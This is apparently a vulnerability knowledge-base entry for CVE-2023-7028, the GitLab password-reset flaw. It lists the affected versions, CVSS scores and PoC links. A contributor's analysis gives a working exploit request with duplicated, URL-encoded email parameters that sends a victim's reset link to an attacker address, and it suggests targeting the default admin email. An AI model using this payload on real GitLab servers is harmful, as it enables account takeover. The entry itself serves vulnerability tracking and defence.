Attacker Value
Very High
CVE-2023-7028
CVE-2023-7028
(Last updated September 04, 2024) ▾
MITRE ATT&CK
Log in to add MITRE ATT&CK tag
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Metasploit Module
Description
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
Add Assessment
3
Technical Analysis
Tested on Gitlab CE 16.6.1. Very effective and easy to exploit. In the following payload the brackets MUST be URL encoded, else it won’t work: user[email][]=victim@example.org&user[email][]=attacker@example.org.
POST /users/password HTTP/2 Host: gitlab.example.org ... authenticity_token=<auto_generated_token>&user%5Bemail%5D%5B%5D=victim%40example.org&user%5Bemail%5D%5B%5D=attacker%40example.org
Note that you must know the email address and not the login name.
See here for vulnerable and patched versions.
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Vendors
- gitlab
Products
- gitlab
Metasploit Modules
Exploited in the Wild
References
Exploit
PoCs that have not been added by contributors directly have been sourced from:
nomi-sec/PoC-in-GitHub.
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
CVE-2023-7028 (https://github.com/Vozec/CVE-2023-7028) (Added by AKB Worker)
CVE-2023-7028 (https://github.com/V1lu0/CVE-2023-7028) (Added by AKB Worker)
CVE-2023-7028 (https://github.com/RandomRobbieBF/CVE-2023-7028) (Added by AKB Worker)
Or use the default administrator email
admin@example.com